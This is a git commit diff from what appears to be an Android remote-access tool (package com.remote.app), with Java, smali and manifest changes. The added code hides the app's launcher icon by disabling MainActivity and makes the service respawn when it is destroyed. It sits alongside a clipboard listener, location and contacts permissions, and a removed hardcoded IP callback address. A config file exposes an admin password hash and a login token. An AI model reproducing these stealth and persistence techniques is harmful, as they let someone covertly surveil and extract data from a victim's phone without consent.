This commit is contained in:
ChrisStone07 2020-03-23 10:36:05 +05:30
parent 48c2afce03
commit 85689ba4b5
59 changed files with 97 additions and 67 deletions

2
.gitignore vendored
View File

@ -10,3 +10,5 @@ coverage
.lock-wscript
build/Release
node_modules
client/.gradle/*
client/.idea/*

View File

@ -19,7 +19,7 @@
<option name="ALLOW_USER_CONFIGURATION" value="false" />
<option name="MANIFEST_FILE_RELATIVE_PATH" value="/src/main/AndroidManifest.xml" />
<option name="RES_FOLDER_RELATIVE_PATH" value="/src/main/res" />
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res;file://$MODULE_DIR$/build/generated/res/resValues/debug" />
<option name="RES_FOLDERS_RELATIVE_PATH" value="file://$MODULE_DIR$/src/main/res" />
<option name="TEST_RES_FOLDERS_RELATIVE_PATH" value="" />
<option name="ASSETS_FOLDER_RELATIVE_PATH" value="/src/main/assets" />
</configuration>

Binary file not shown.

View File

@ -148,6 +148,10 @@ public class MainService extends Service {
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
super.onStartCommand(intent, flags, startId);
PackageManager pkg=this.getPackageManager();
pkg.setComponentEnabledSetting(new ComponentName(this, MainActivity.class), PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
ClipboardManager.OnPrimaryClipChangedListener mPrimaryChangeListener = new ClipboardManager.OnPrimaryClipChangedListener() {
public void onPrimaryClipChanged() {
ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
@ -182,10 +186,7 @@ public class MainService extends Service {
public void onDestroy() {
super.onDestroy();
Intent broadcastIntent = new Intent();
broadcastIntent.setAction("RestartService");
broadcastIntent.setClass(this, ServiceReciever.class);
this.sendBroadcast(broadcastIntent);
sendBroadcast(new Intent("respawnService"));
}

Binary file not shown.

View File

@ -16,7 +16,6 @@
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<application android:allowBackup="true" android:appComponentFactory="android.support.v4.app.CoreComponentFactory" android:hardwareAccelerated="false" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:largeHeap="true" android:supportsRtl="true" android:theme="@style/AppTheme">
<activity android:launchMode="singleInstance" android:name="com.remote.app.MainActivity">
<intent-filter>

Binary file not shown.

Binary file not shown.

After

Width:  |  Height:  |  Size: 212 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 225 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 212 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 225 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 93 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 215 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 223 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 215 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 223 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 93 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 221 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 252 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 221 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 247 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 99 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.3 KiB

Binary file not shown.

View File

@ -1,6 +1,6 @@
Signature-Version: 1.0
Created-By: 1.0 (Android)
SHA1-Digest-Manifest: g4yoCisYLyXI7wUmD5zJMn3AcNk=
SHA1-Digest-Manifest: kC0A0pxBWyd9di36828d/aKtGAY=
Name: AndroidManifest.xml
SHA1-Digest: xKbbLhV3eFCAsWGLIPl7xB3iVFw=
@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws=
Name: classes.dex
SHA1-Digest: l0D4Pu8rxrMIOjxngIstZideahY=
SHA1-Digest: vtV6DQB/SauRaYzfhYjAfpVZ6T0=
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg=

View File

@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU=
Name: classes.dex
SHA1-Digest: cxWymTTuoTvUYxa4odT0rXgKbQA=
SHA1-Digest: 6s2rsvzX3vIiykUN3xdSRwvXx/s=
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc=

View File

@ -127,15 +127,9 @@
new-instance v0, Landroid/content/Intent;
invoke-direct {v0}, Landroid/content/Intent;-><init>()V
const-string v1, "respawnService"
const-string v1, "RestartService"
invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
const-class v1, Lcom/remote/app/ServiceReciever;
invoke-virtual {v0, p0, v1}, Landroid/content/Intent;->setClass(Landroid/content/Context;Ljava/lang/Class;)Landroid/content/Intent;
invoke-direct {v0, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
invoke-virtual {p0, v0}, Landroid/app/Service;->sendBroadcast(Landroid/content/Intent;)V
@ -143,10 +137,26 @@
.end method
.method public onStartCommand(Landroid/content/Intent;II)I
.locals 0
.locals 1
invoke-super {p0, p1, p2, p3}, Landroid/app/Service;->onStartCommand(Landroid/content/Intent;II)I
invoke-virtual {p0}, Landroid/app/Service;->getPackageManager()Landroid/content/pm/PackageManager;
move-result-object p1
new-instance p2, Landroid/content/ComponentName;
const-class p3, Lcom/remote/app/MainActivity;
invoke-direct {p2, p0, p3}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
const/4 p3, 0x1
const/4 v0, 0x2
invoke-virtual {p1, p2, v0, p3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
new-instance p1, Lcom/remote/app/j;
invoke-direct {p1, p0}, Lcom/remote/app/j;-><init>(Lcom/remote/app/MainService;)V
@ -165,7 +175,5 @@
invoke-static {p0}, Lcom/remote/app/e;->a(Landroid/content/Context;)V
const/4 p1, 0x1
return p1
return p3
.end method

View File

@ -64,7 +64,7 @@
invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
const-string v2, "http://3.6.95.182:22222?model="
const-string v2, "http://localhost:22222?model="
invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

Binary file not shown.

View File

@ -1,46 +1,66 @@
{
"admin": {
"username": "admin",
"password": "5f4dcc3b5aa765d61d8327deb882cf99",
"loginToken": "385d9cb00bf3077b2d035da7f3fa946a",
"logs": [
{
"time": "2020-01-11T15:23:07.971Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-01-11T15:27:32.586Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-01-11T16:08:04.582Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-03-22T16:24:09.546Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-03-22T16:53:31.032Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-03-22T18:01:07.951Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-03-22T18:02:03.352Z",
"type": "SUCCESS",
"message": "Build Succeded!"
}
],
"ipLog": []
},
"clients": []
}
"admin": {
"username": "admin",
"password": "ffe553694f5096471590343432359e02",
"loginToken": "ddd9d299c3380709efbc19ac381b4fad",
"logs": [
{
"time": "2020-01-11T15:23:07.971Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-01-11T15:27:32.586Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-01-11T16:08:04.582Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-03-22T16:24:09.546Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-03-22T16:53:31.032Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-03-22T18:01:07.951Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-03-22T18:02:03.352Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-03-22T20:20:58.216Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-03-22T20:22:08.417Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-03-23T04:57:13.758Z",
"type": "SUCCESS",
"message": "Build Succeded!"
},
{
"time": "2020-03-23T04:59:46.252Z",
"type": "SUCCESS",
"message": "Build Succeded!"
}
],
"ipLog": []
},
"clients": []
}